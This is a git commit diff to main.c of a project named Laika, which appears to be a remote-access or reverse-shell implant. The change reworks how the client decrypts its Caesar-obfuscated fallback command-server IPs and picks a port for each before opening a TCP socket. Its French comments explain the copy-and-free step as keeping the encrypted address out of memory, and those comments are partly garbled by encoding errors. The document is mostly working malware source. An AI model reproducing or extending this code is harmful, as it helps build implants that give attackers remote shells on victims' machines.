fix: decrypting an ip that is already decrypted
This commit is contained in:
17
Laika/main.c
17
Laika/main.c
@@ -105,8 +105,6 @@ void SendShellEndedSignal(SOCKET sock) {
|
||||
}
|
||||
}
|
||||
|
||||
#define FALLBACK_SERVERS 4
|
||||
|
||||
int serv = -1;
|
||||
int main() {
|
||||
InitApis();
|
||||
@@ -124,7 +122,6 @@ int main() {
|
||||
struct sockaddr_in server;
|
||||
char* server_reply = (char*)Api.malloc(BUFFER_SIZE);
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_port = Api.htons(1337);
|
||||
|
||||
WORD wVersionRequested = MAKEWORD(2, 2);
|
||||
WSADATA wsaData;
|
||||
@@ -142,7 +139,19 @@ retry:
|
||||
if (serv > FALLBACK_SERVERS - 1) {
|
||||
serv = 0;
|
||||
}
|
||||
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(fallback_servers[serv]));
|
||||
|
||||
//on fait une copie de l'ip chiffr<66>e, puis on la free
|
||||
//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
|
||||
//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
|
||||
size_t len = strlen(fallback_servers[serv]);
|
||||
char* Tmp = Api.malloc(len + 1);
|
||||
Api.strcpy(Tmp, fallback_servers[serv]);
|
||||
|
||||
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
|
||||
|
||||
Api.free(Tmp);
|
||||
|
||||
server.sin_port = Api.htons(fallback_servers_ip[serv]);
|
||||
|
||||
//Create socket
|
||||
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
Reference in New Issue
Block a user